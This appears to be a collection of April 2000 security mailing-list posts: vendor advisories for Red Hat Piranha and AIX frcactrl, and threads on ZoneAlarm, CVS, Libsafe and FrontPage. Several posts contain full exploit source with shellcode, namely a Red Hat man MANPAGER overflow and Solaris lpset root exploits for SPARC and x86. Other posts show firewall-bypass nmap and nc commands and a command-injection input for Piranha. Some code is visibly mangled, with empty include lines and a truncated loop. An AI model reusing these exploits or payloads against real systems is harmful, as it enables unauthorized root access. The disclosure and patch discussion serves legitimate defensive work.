SECURITY: UPDATED - RHSA-2000:014 New Piranha release available
-BEGIN PGP SIGNED MESSAGE- - - Red Hat, Inc. Security Advisory Synopsis: Piranha web GUI exposure Advisory ID: RHSA-2000:014-16 Issue date:2000-04-18 Updated on:2000-04-26 Product: Red Hat Linux Keywords: piranha Cross references: php - - 1. Topic: The GUI portion of Piranha may allow any remote attacker to execute commands on the server. This may allow a remote attacker to launch additional exploits against a web site from inside the web server. This is an updated release that disables Piranha's web GUI interface unless the site administrator enables it explicitly. 2. Relevant releases/architectures: Red Hat Linux 6.2 - i386 alpha sparc 3. Problem description: When Piranha is installed, it generates a 'secure' web interface ID using the HTML .htaccess method. The information for the account is placed in /home/httpd/html/piranha/secure/passwords which was supposed to be released with a blank password. Unfortunately, the password that is actually on the CD is 'Q'. The original intent was that, when the administrator installed Piranha rpms onto their box, that they would change the default blank password to a password of their own choosing. This is not a hidden account. Its only use is to protect the web pages from unauthorized access. The security problem arises from the http://localhost/piranha/secure/passwd.php3 file. It is possible to execute commands by entering 'blah;some-command' into the password fields. Everything after the semicolon is executed with the same privilege as the webserver. Because of this, it is possible to compromise the webserver or do serious damage to files on the site that are owned by the user 'nobody' or to export a shell using xterm. Updated piranha packages released as version 0.14.3-1 fixed the security vulnerability while still require for the default behavior of requiring the web administrator to reset the password before making the web site public. Because of the security concerns from the community and in order to protect innocent administrators that might not be aware of the need to change the password for Piranha's interface before going live on the Internet, Red Hat is releasing a new set of packages that disable the piranha web interface by default. The site administrator will have to enable the service from the command line by resetting the password as detailed on the main page of the piranha utility. The new packages that include these changes are known as version piranha-0.4.14-1. Users of Red Hat Linux 6.2 are strongly encouraged to upgrade to the new packages if they are actively using piranha on their system (upgrade instructions follow) or to remove the piranha-gui package altogether by issuing the following command: rpm -e piranha-gui 4. Solution: For each RPM for your particular architecture, run: rpm -Fvh [filename] where filename is the name of the RPM. When you install the update for the piranha-gui, please take a moment to review the instructions presented on the following URL (http://localhost/piranha). This should guide you through the process of installing a password for use with the GUI. 5. Bug IDs fixed (http://bugzilla.redhat.com/bugzilla for more info): N/A 6. Obsoleted by: N/A 7. Conflicts with: N/A 8. RPMs required: Red Hat Linux 6.2: intel: ftp://updates.redhat.com/6.2/i386/piranha-0.4.14-1.i386.rpm ftp://updates.redhat.com/6.2/i386/piranha-docs-0.4.14-1.i386.rpm ftp://updates.redhat.com/6.2/i386/piranha-gui-0.4.14-1.i386.rpm alpha: ftp://updates.redhat.com/6.2/alpha/piranha-0.4.14-1.alpha.rpm ftp://updates.redhat.com/6.2/alpha/piranha-docs-0.4.14-1.alpha.rpm ftp://updates.redhat.com/6.2/alpha/piranha-gui-0.4.14-1.alpha.rpm sparc: ftp://updates.redhat.com/6.2/sparc/piranha-0.4.14-1.sparc.rpm ftp://updates.redhat.com/6.2/sparc/piranha-docs-0.4.14-1.sparc.rpm ftp://updates.redhat.com/6.2/sparc/piranha-gui-0.4.14-1.sparc.rpm sources: ftp://updates.redhat.com/6.2/SRPMS/piranha-0.4.14-1.src.rpm 9. Verification: MD5 sum Package Name - -- 7c9cad243857f3e90cb73457619ad3a0 6.2/SRPMS/piranha-0.4.14-1.src.rpm 179e502f88f149fe3bfb285af851a6d3 6.2/alpha/piranha-0.4.14-1.alpha.rpm 881622bc6403c2af38834c0deaf05d44 6.2/alpha/piranha-docs-0.4.14-1.alpha.rpm 7ffc63ec6f236afc0b19298ec29e6774 6.2/alpha/piranha-gui-0.4.14-1.alpha.rpm 1e04357c0ebb004185b834152667c644 6.2/i386/piranha-0.4.14-1.i386.rpm 5b6649f14979e1b2fbdb763d88e9a3ac 6.2/i386/piranha-docs-0.4.14-1.i386.rpm 1a49816f280dc7a9b83ba9bab42a247f 6.2/i386/piranha-gui-0.4.14-1.i386.rpm 4153b861f030a17745463c1749732b58 6.2/sparc/piranha-0.4.14-1.sparc.rpm dc964993d9a3b6c967e5c4455bc24221 6.2/sparc/piranha-docs-0.4.14-1.sparc.rpm 97071e07e2f34fecf80ba48f61e
Re: Two Problems in IMP 2
I'd like to add that an example cron job has been included in the IMP distribution for months now. (tho no documentation exists that warns users about the possible problem) The Debian packaged version takes care of the permission issue and has a cron job that runs daily to take care of the excess files in /tmp. Ivan On Mon, Apr 24, 2000 at 06:53:28PM -0400, Jose Nazario wrote: > Crimelabs, Inc.www.crimelabs.com > > Security Advisory > Crimelabs Security Advisory CLABS23 > > Title: IMP/MSWordView /tmp Problems >Date: 22 April, 2000 > Application: IMP with MSWordView -- Ivan E. Moore II [EMAIL PROTECTED] http://snowcrash.tdyc.com GPG KeyID=90BCE0DD GPG Fingerprint=F2FC 69FD 0DA0 4FB8 225E 27B6 7645 8141 90BC E0DD
Re: Solaris Sparc 2.6 & 7 lp/lpset/lpstat root compromise exploit
'lo .. spent all morning on the phone with SUN belgium, they send me 2 T-patches (beta patches) and they both work. I tested them on my 2.6 and 2.7 boxes and now i get 'write operation failed'. The patch numbers are : 107115-04 for solaris 7 106235-05 for solaris 8 they asked me not to post the binaries for they are not officialy released yet, but you can contact SUN and they will send them to you. They will release the patches ASAP. thnx to Kristof Maris and Luc D'Hauwe of SUN Belgium D. life - the linux company http://www.life.be -- "Rule of Life #1 -- Never get separated from your luggage."
Re: ZoneAlarm
On Mon, 24 Apr 2000, Alfred Huger wrote: > >Additionally, using nmap's -f flag allows you to send traffic past > >ZoneAlarm without any alerts. > > I set up a copy on a local machine here and while I found that source port > scans from 67 slipped past the firewall -f seemed to be alerted on just > fine. Can anyone else comment to this? > Hi Al, I get the same results you did; ZoneAlarm 2.1.10 alerts on a fragmented SYN scan, but does not make any noise when the source port is set to 67. # nmap -sS -p 139 -v -f -P0 victim.example.com Initiating SYN half-open stealth scan against victim.example.com (23.23.23.23) 04/26-02:11:52.260668 attacker -> 23.23.23.23 TCP TTL:61 TOS:0x0 ID:15452 MF Frag Offset: 0x0 Frag Size: 0x10 BC 49 00 8B 4D 4B C7 11 00 00 00 00 50 02 08 00 .I..MK..P... 04/26-02:11:52.260745 attacker -> 23.23.23.23 TCP TTL:61 TOS:0x0 ID:15452 Frag Offset: 0x2 Frag Size: 0x4 CA 49 00 00 .I.. ZoneAlarm reports "The firewall has blocked Internet access to your computer (NetBIOS Session) from attacker.example.com (TCP Port 3133)." When I add the option for source port 67 (-g 67) ZoneAlarm does not alert - however, the packets do not seem to be delivered either (no RST nor SYN+ACK). Now if you remove fragmentation from the picture, it looks like you can use source porting (67 anyway) to circumvent the ZoneAlarm software. # nc -p 67 victim.example.com 21 220 Serv-U FTP-Server v2.5e for WinSock ready... quit Without the bootp source port this connection is dropped and an alert is generated. Max
Re: Solaris 7 x86 lpset exploit.
>>There is a sparc version avail for this bug, the bug was discovered by >>duke some time ago. just for people who don't know...or have forgotten...putting this: set noexec_user_stack = 1 set noexec_user_stack_log = 1 in your /etc/system file protects you against this. it doesn't fix the bug, but it stops the effects from being quite so "bad". -- |-< "CODE WARRIOR" >-| [EMAIL PROTECTED] * "ah! i see you have the internet [EMAIL PROTECTED] (Andrew Brown)that goes *ping*!" [EMAIL PROTECTED] * "information is power -- share the wealth."
ISS Security Advisory: Insecure file handling in IBM frcactrl program
-BEGIN PGP SIGNED MESSAGE- ISS Security Advisory April 26, 2000 Insecure file handling in IBM AIX frcactrl program Synopsis: Internet Security Systems (ISS) X-Force has discovered a vulnerability in the AIX frcactrl program. The Fast Response Cache Accelerator (FRCA) is a kernel module that can be used with the IBM HTTP server to improve the performance of a web server. If the FRCA module is loaded, a local attacker could use frcactrl, a program used to manage FRCA configuration, to modify files. Impact: An attacker could gain root privileges by using the frcactrl program if the FRCA kernel module is loaded. Affected Versions: The frcactrl command shipped with AIX 4.3 APAR IY02669 is vulnerable. Description: The AIX Fast Response Cache Accelerator (FRCA) is a kernel extension module that improves the performance of a web server by using a memory cache to store data being served from the web server. FRCA is used primarily with the Apache-based IBM HTTP server, but it may also be used with other web servers. The frcactrl program is used to manage the FRCA configuration and is distributed as part of the base operating system in AIX 4.3. The vulnerability is present on systems with AIX fix IY02669 applied and with the FRCA kernel extension loaded (the kernel extension is not enabled by default). The setuid bit of the frcactrl file is turned on by APAR (Authorized Problem Analysis Report) IY02669, which allows non-root users to configure the module. A malicious user may use frcactrl to manipulate the configuration of the FRCA log files to create, append, or overwrite files as root. Recommendations: ISS recommends that if FRCA is not needed, the module can be unloaded with the following command: # /usr/sbin/frcactrl unload ; /usr/sbin/slibclean Until an official fix is available, IBM recommends removing the setuid bit from the frcactrl command: # chmod 555 /usr/sbin/frcactrl IBM is currently working on the following APARs, which will be available soon: APAR 4.3.x: IY09514 APARs may be ordered using Electronic Fix Distribution (via FixDist) or from the IBM Support Center. For more information on Fix Distribution go to: http://service.software.ibm.com/support/rs6000 or send an email to [EMAIL PROTECTED] with a subject of "FixDist". Additional Information: The Common Vulnerabilities and Exposures (CVE) project has assigned the name CAN-2000-0249 to this issue. This is a candidate for inclusion in the CVE list (http://cve.mitre.org), which standardizes names for security problems. Credits: This vulnerability was discovered and researched by Oliver Atoa-Ortiz of the ISS X-Force. ISS would like to thank IBM for their response and handling of this vulnerability. _ About Internet Security Systems (ISS) ISS is a leading global provider of security management solutions for e-business. By offering best-of-breed SAFEsuite (tm) security software, industry-leading ePatrol (tm) managed security services, and strategic consulting and education services, ISS is a trusted security provider to its customers, protecting digital assets and ensuring the availability, confidentiality and integrity of computer systems and information critical to e-business success. ISS' lifecycle e-business security management solutions protect more than 5,000 customers including 21 of the 25 largest U.S. commercial banks, 9 of the 10 largest telecommunications companies and over 35 government agencies. Founded in 1994, ISS is headquartered in Atlanta, GA, with additional offices throughout North America and international operations in Asia, Australia, Europe, Latin America and the Middle East. For more information, visit the ISS Web site at www.iss.net or call 888-901-7477. Copyright (c) 2000 by Internet Security Systems, Inc. Permission is hereby granted for the redistribution of this Alert electronically. It is not to be edited in any way without express consent of the X-Force. If you wish to reprint the whole or any part of this Alert in any other medium excluding electronic medium, please e-mail [EMAIL PROTECTED] for permission. Disclaimer The information within this paper may change without notice. Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties with regard to this information. In no event shall the author be liable for any damages whatsoever arising out of or in connection with the use or spread of this information. Any use of this information is at the user's own risk. X-Force PGP Key available at: http://xforce.iss.net/sensitive.php3 as well as on MIT's PGP key server and PGP.com's key server. Please send suggestions, updates, and comments to: X-Force ([EMAIL PROTECTED]) of Internet Security Systems, Inc. -BEGIN PGP SIGNATURE- Version: 2.6.3a Charset: noconv iQCVAwUBOQcnEDRfJiV99eG9AQGu+wP/UpKWzpOqg+u8DEy2e+4OS+hNieSEaFXg FhSupLuxlutQKZlKdNDI91OKnKxLG977QkpQzCkZvWRIwYooLsL0Jm/UH9ZDdKyo nneRdnyec48fYgH1ur0IiVdUEsHdFNSYyOGa9UZHVj5bCsrAqtcARt
Re: freebsd libncurses overflow
> PS. Not speaking on behalf of FreeBSD. Speaking on behalf of OpenBSD, and a quite bit drunk from the really delicious Guiness (TM) I had just recently: not vulnerable, blah, blah, blah
Re: Solaris Sparc 2.6 & 7 lp/lpset/lpstat root compromise exploit
Patches are being tested at this moment; a fix is already incorporated in Solaris 8. Casper
Re: man-exploit for MANPAGER environment...
On Mon, 24 Apr 2000 [EMAIL PROTECTED] wrote:
> For the sake of full disclosure an exploit for the MANPAGER environment
> variable:
>
> - snip -
>
> /*
> * MAN-Exploit for MANPAGER environmental variable.
> * rh 6.x, tested on rh 6.1
> * written by psychoid/tCl
> * gives egid man.
> *
> * Originally discovered by lcamtuf.
> * educational. yes.
> *
> */
>
For absolutely FULL disclosure here is wonderfull man sploit (allready
posted to vuln-dev in thread of sth...) that works cool even if stack is
nonexecutable (it exploits the feature of GOT being executable -- see
vuln-dev archives for details:
http://www.securityfocus.com/templates/archive.pike?list=82&date=2000-04-15&[EMAIL PROTECTED]).
GreetZ Bulba, Lam3rZ, teso, hert, Smerda Jajeczny.
Kil3r / Emsi / M.C.Mar /
--
Mariusz Wołoszyn
Internet Security Specialist, Internet Partners, GTS Poland
/*
* Rewriten from:
* (c) 2000 babcia padlina / b0f
* (lcamtuf's idea)
* by Kil3r of Lam3rZ
* for nonexec stack environment
*
* redhat 6.1 (and others) /usr/bin/man exploit
*/
char execshell[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
#include
#include
#include
#include
#define STRCPY 0x80490e4 // <== strcpy() PLT entry
#define GOT 0x805038c // <== strcpy() GOT entry
#define NOP 0x90
#define BUFSIZE 4033+38
#define RET STRCPY //0x46464646
#define _BIN_SH 0xbfe7 // <== where we have "/bin/sh" string,
//curently useless ;)
#define SHELLCODE 0xbfc1
long getesp(void)
{
__asm__("movl %esp, %eax\n");
}
int main(argc, argv)
int argc;
char **argv;
{
char buf[BUFSIZE], *p;
char *env[3];
int *ap;
memset(buf,NOP,BUFSIZE);
p=buf+BUFSIZE-4;
ap=(int *)p;
*ap++ =RET;
*ap++ =GOT+4;
*ap++ =GOT+4;
*ap++ =SHELLCODE;
fprintf(stderr, "RET: 0x%x SHELLCODE: 0x%x", RET, SHELLCODE);
memcpy(buf,"MANPAGER=", 9);
env[0]=buf;
// env[1]="/bin/sh";
env[1]=execshell;
env[2]=(char *)0;
execle("/usr/bin/man", "man", "ls", 0, env); // use execle to have
// shellcode and other params at fixed addr!!!
return 0;
}
Re: mtr-0.41 root exploit
On Tue, 25 Apr 2000, Rogier Wolff wrote: > I would've appreciated the lesser "scare" when an accompanying note > would've said that the bug was already fixed. I would have appreciated too if the poster had acknowleged that FreeBSD already upgraded to the new version a month and a half ago, and released a security advisory about it. I think it's fairly bad form to release an "exploit for Operating System X" without mentioning that it actually refers to an old version which has since been fixed, since it makes that particular OS look bad when in fact they've done everything right. Having said the above, there *is* still a security issue remaining in mtr on FreeBSD 3.4-STABLE and earlier due to the libmytinfo overflow: mtr will overflow after dropping privileges so it won't yield root, but it leaks the raw network sockets it opens beforehand which can be used by the attacker. I'm about to commit a fix for libmytinfo, but I'd like to repeat my request to the bugtraq audience that you give vendors at least a few days prior notice before publishing to the world (more, if they respond and appear to be trying to address it). I like to think FreeBSD reacts quickly to security issues, but Mr. Frasunek has put even the most vigilantly-maintained FreeBSD systems at risk for the past 36 hours or so because we had to scramble to address the problem *after* it was released to the world. I know that some commercial outfits don't respond to security reports in the way we'd like them to, but open source projects like FreeBSD tend to be a lot better. Give us a chance :-) Kris In God we Trust -- all others must submit an X.509 certificate. -- Charles Forsythe <[EMAIL PROTECTED]>
Re: Libsafe Protecting Critical Elements of Stacks
Crispin Cowan <[EMAIL PROTECTED]> wrote: __ >The BRW method is a pseudo-compiler that can transform binaries into >"safe" programs by transforming the binary. It copies program onto the >heap, inserting checks as it goes. The copy-to-the-heap is to make >space for the additional checks. I really like the BRW method, and hope >it becomes available. AFAIK binary rewriting is covered by a patent owned by Rational Software (via purchase of Pure) and therefore cannot be released. brandon s. allbery system administrator, ece carnegie mellon university
Re: Libsafe Protecting Critical Elements of Stacks
JP> http://www.bell-labs.com/org/11356/html/security.html JP> It protects against stack-based attacks (buffer overruns, primarily), JP> which is the largest percentage of security holes. Easy to setup; JP> easy to install. I implemented protection from stack smashing for windows nt binary some time ago. As I see Bell's protection based on one of two technique that is used in my protection. But I very surprised that Bell's version is so limited decision this technique. They didn't use all possible features given method. For example, they limited vulnerable function list only ordinal: strcpy, strcat, sprintf and so on. However there are other potential vulnerable functions: strncpy, strncat, memcpy etc. Also isn't needed produce own implementation vulnerable functions but enough make integrity checks of local variable frame base or return address situated after this frame base after original function call. In my implementation is used patch export vulnerable functions of any DLL. Is planned implement patch statically linked functions (not exported) of standard C comlilers for NT. Test results were very successful. But protection doesn't work for binary compiled with some compiler optimization options when insead of ebp based offset is used direct esp based offset. Another technique of my protection is block exported functions call from writable memory areas. This method will allow reliable protect from existing but not from future exploits that know about given protect. Also universal exploit for every attacked box will not possible. -- Andrey Kolishak mailto:[EMAIL PROTECTED]
Re: More vulnerabilities in FP
VHTTPD32 is used as part of the PWS on a 9x or NT client. Generally it would only be run to serve web pages to a user on the same machine. We use it for example for FrontPage files stored on the local PC with search results. If you had console access PWS is probably the least of the worries!! Regards, Ian Daniel Doèekal wrote: > > That's hardly overflow in FP, VHTTPD32 does not seem to be part of WindowsNT > and more hardly of Frontpage (could be some old version of course), what > operating system are you using? > > This seems to be overflow in HTTP (Web Server, PWS or IIS) and for > WIndowsNT it was handled long time ago in some postfix and service packs. > > It would be good idea to include complete information about the system you > are testing, otherwise it is useless. > > Daniel > > > -Original Message- > > From: Roman [mailto:[EMAIL PROTECTED]] > > Sent: Saturday, April 22, 2000 10:16 PM > > To: [EMAIL PROTECTED] > > Subject: Re: More vulnerabilities in FP > > > > > > Hello, > > > > > First remote FrontPage exploit? > > > > How about this one: > > http://server/AA > > > > FP will overflow and someone will see this message: > > > > VHTTPD32 caused an invalid page fault in > > module at :41414141. > > Registers: > > EAX= CS=0167 EIP=41414141 EFLGS=00010212 > > EBX= SS=016f ESP=00fe53cc EBP=41414141 > > ECX=00fe52c4 DS=016f ESI=00fe7744 FS=3647 > > EDX=bffc9490 ES=016f EDI=bff94645 GS= > > Bytes at CS:EIP: > > > > Stack dump: > > 41414141 41414141 66204141 656c6961 6f662064 32312072 > > 2e302e37 2c312e30 61657220 3a6e6f73 6c696620 6f642065 > > 6e207365 6520746f 74736978 > > > > Tested on FP 3.0.2.926. Maybe others? > > -- | Ian McDonald | email: [EMAIL PROTECTED] Ph: 09-378 8611 | | Technical Consultant | ICQ 31381444Fax: 09-378 9010 | | | Mobile: 025-728 724 | | | mail: PO Box 68-261 Newton Auckland | | ECONZ (1971) Ltd | Visit our WEBSITE: http://www.econz.co.nz |
Re: Solaris Sparc 2.6 & 7 lp/lpset/lpstat root compromise exploit
Hello Laurent, you are totally mistaken here and seems odd that you posted
this.
By adding that shellcode to the exploits that I did would not work on
sparc, you need some tweaking etc. Also you have not looked at my exploit
for lpset, it deals with the -r argument in lpset which we can overflow,
the buffer is only 32 bytes.
You have on the other hand released code to a well known and allready
exploited bug in lpset which many other people have allready exploited like
for example jarvis, with exactly the same code that he wrote! You didn't
even bother changing the code.
On Tue, 25 Apr 2000, Laurent LEVIER wrote:
> Cheers,
>
> As promised, here is the sparc version code for these exploits.
> Works fine with lpset, did not try on lp.
>
> Trusted me, it works fine..
>
> Just change shellcode to :
>
> char sparc_shellcode[] =
> "\x82\x10\x20\x17\x90\x20\x60\x17\x92\x22\x40\x09\x91\xd0\x20\x08"
> "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e"
> "\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0"
> "\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\x91\xd0\x20\x08"
> "\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd0\x20\x08";
>
> and get_esp to:
> u_long get_esp() { asm("mov %sp, %i0"); }
>
> This should be enough to have the sparc version
>
> But, else complete Sparc version (lpset variant):
>
> #include
> #include
>
> #define BSIZE 18001
> #define OFFSET 20112
> #define START 700
> #define END 1200
>
> #define NOP 0xac15a16e
>
> #define EXSTART 116
>
> char sparc_shellcode[] =
>
> /* setreuid(0,0) */
> "\x82\x10\x20\x17\x90\x20\x60\x17\x92\x22\x40\x09\x91\xd0\x20\x08"
>
> /* other stuff */
> "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e"
> "\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0"
> "\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\x91\xd0\x20\x08"
> "\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd0\x20\x08";
>
> u_long get_sp() { asm("mov %sp, %i0"); }
>
> main(int argc, char *argv[]) {
> int i,ofs=OFFSET,start=START,end=END;
> u_long ret, *ulp;
> char *buf;
>
> if (argc > 1) ofs=atoi(argv[1])+8;
>
> if (!(buf = (char *) malloc(BSIZE+2))) {
> fprintf(stderr, "out of memory\n");
> exit(1);
> }
>
> ret = get_sp() - ofs;
>
> for (ulp = (u_long *)buf,i=0; ulp < (u_long *)&buf[BSIZE]; i+=4,ulp++)
> *ulp = NOP;
>
> for (i = start, ulp=(u_long *)&buf[start]; i < end; i+=4) *ulp++ = ret;
>
> for (i = 0; i < strlen(sparc_shellcode); i++)
> buf[EXSTART+i] = sparc_shellcode[i];
>
> buf[5000]='=';
>
> buf[18000]=0;
>
> fprintf(stderr, "ret: 0x%lx xlen: %d ofs: 0x%lx (%d)\n",
> ret, strlen(buf)-2, ofs, ofs);
>
> execl("/usr/bin/lpset","lpset","-n","xfn","-a",&buf[2],"lpcol1",0);
>
> perror("execl");
> }
> Laurent LEVIER
> IT Systems & Networks, Unix System Engineer
> Security Specialist
>
> Argosnet Security Server : http://www.Argosnet.com
> "Le Veilleur Technologique", "The Technology Watcher"
>
Re: piranha default password/exploit
On Mon, 24 Apr 2000, Max Vision wrote: > The first problem is the default account and password that protect the web > directory containing the administrative php3 scripts. This is, I think, the crux of the problem. "Default passwords" are, by definition, not passwords. They are crutches used by lazy developers and are all too often left unchanged by even more lazy administrators. OK, so they've fixed the poorly thought out system call that led to this compromise, but I'd suggest a change to the RPM spec file for the next build. Something like this should work? (Philip?) - force them to set a password during the installation process... --- piranha.spec.in.origMon Apr 24 00:35:34 2000 +++ piranha.spec.in Tue Apr 25 18:12:55 2000 @@ -115,6 +115,7 @@ %post gui chown nobody /home/httpd/html/piranha/secure/passwords +htpasswd /home/httpd/html/piranha/secure/passwords piranha %changelog * Sat Apr 23 2000 Philip Copeland <[EMAIL PROTECTED]> CDI The Web Master's Net http://www.thewebmasters.net/ Today's Excuse: Sysadmin accidentally destroyed pager with a large hammer.
Re: CVS DoS
On Mon, 24 Apr 2000, Kris Kennaway wrote: > of the filesystem used by CVS to maintain its lock state. It's also not > quite as serious as it might first sound, because anyone who can > legitimately connect to the CVS server remotely via CVS can cause a lock > to be taken out over any part of the repository, with the same effect. Sorry, but on further thought I don't think this is true. Locks are only acquired for CVS write operations, not read operations. Kris In God we Trust -- all others must submit an X.509 certificate. -- Charles Forsythe <[EMAIL PROTECTED]>
Re: CVS DoS
On Sun, 23 Apr 2000, Michal Szymanski wrote: > behaviour, so long as it has been properly done. Unfortunately method of > generating new file names is very simple and weak. Every file name is easily > predictable and consists of two parts: /tmp/cvs-serv string and PID of the > current working cvs server: It's irrelevant whether the tempfile name is "weak" or not - it *has* to be predictable to other cvs servers to tell whether the repository is locked! The vulnerability described here is that users can write to the same part of the filesystem used by CVS to maintain its lock state. It's also not quite as serious as it might first sound, because anyone who can legitimately connect to the CVS server remotely via CVS can cause a lock to be taken out over any part of the repository, with the same effect. Kris In God we Trust -- all others must submit an X.509 certificate. -- Charles Forsythe <[EMAIL PROTECTED]>
Re: Solaris 7 x86 lpset exploit.
Cheers,
Also available on multiple sites (technotronic, Argosnet, rootshell, ...) since a very
long time.
As said previously, will mail the Sparc version
Laurent LEVIER
IT Systems & Networks, Unix System Engineer
Security Specialist
Argosnet Security Server : http://www.Argosnet.com
"Le Veilleur Technologique", "The Technology Watcher"
At 15:24 24/04/00 +, Theodor Ragnar Gislason wrote:
>Solaris 7 x86 /usr/bin/lpset overflow, there is a small overflow(32 bytes)
>in lpset which will yield root access if properly exploited.
>
>There is a sparc version avail for this bug, the bug was discovered by
>duke some time ago.
>
>I am releasing this exploit because of a copy-cat exploit on hack.co.za.
>
>For this exploit we use ,RET,NOP,CODE.
>
>/*
> *
> * solaris 2.7 lpset local exploit, i386.
> * discovered by: duke
> * not the same as on bt.
> * if exploit dosen´t work try offset from 300-450
> *
> * greets: duke, #!ADM, #!security.is, #hax
> *
> * DiGiT - [EMAIL PROTECTED]
> *
>*/
>
>
>#include
>#include
>#include
>#include
>
>char shellcode[] =
> "\xeb\x48\x9a\xff\xff\xff\xff\x07\xff\xc3\x5e\x31\xc0\x89\x46\xb4"
> "\x88\x46\xb9\x88\x46\x07\x89\x46\x0c\x31\xc0\x50\xb0\x8d\xe8\xdf"
> "\xff\xff\xff\x83\xc4\x04\x31\xc0\x50\xb0\x17\xe8\xd2\xff\xff\xff"
> "\x83\xc4\x04\x31\xc0\x50\x8d\x5e\x08\x53\x8d\x1e\x89\x5e\x08\x53"
> "\xb0\x3b\xe8\xbb\xff\xff\xff\x83\xc4\x0c\xe8\xbb\xff\xff\xff\x2f"
> "\x62\x69\x6e\x2f\x73\x68\xff\xff\xff\xff\xff\xff\xff\xff\xff";
>
>long get_esp() { __asm__("movl %esp,%eax"); }
>
>int main (int argc, char *argv[]) {
>
> long offset=410;
> int nop=64;
> int gab=40;
> long addr;
> char buffer[210];
> int i, a, b;
>
>if (argc > 1) offset = strtol(argv[1], NULL, 0);
>if (argc > 2) gab = strtol(argv[2], NULL, 0);
>if (argc > 3) nop = strtol(argv[2], NULL, 0);
>
>for (a = 0; a buffer[a] = 'A';
>
> addr = get_esp() + offset;
>
> buffer[a++] = addr & 0x00ff;
> buffer[a++] = (addr & 0xff00) >> 8;
> buffer[a++] = (addr & 0x00ff) >> 16;
> buffer[a++] = (addr & 0xff00) >> 24;
>
> for ( ; a < nop; a++)
> buffer[a] = 0x90;
>
> for (b = 0; b < strlen(shellcode); b++, a++)
> buffer[a] = shellcode[b];
>
> buffer[strlen(buffer)] = '\0';
>
> printf("addr = 0x%x\n", addr);
> execl("/usr/bin/lpset", "lpset", "-n", "fns", "-r", buffer,"digit", NULL);
>
>}
ZoneAlarm Vulnerability
ZoneAlarm has apparently released a tenative fix for the source port 67 problem recently posted to the list. http://www.zonelabs.com/beta_download.htm Alfred Huger VP of Engineering SecurityFocus.com
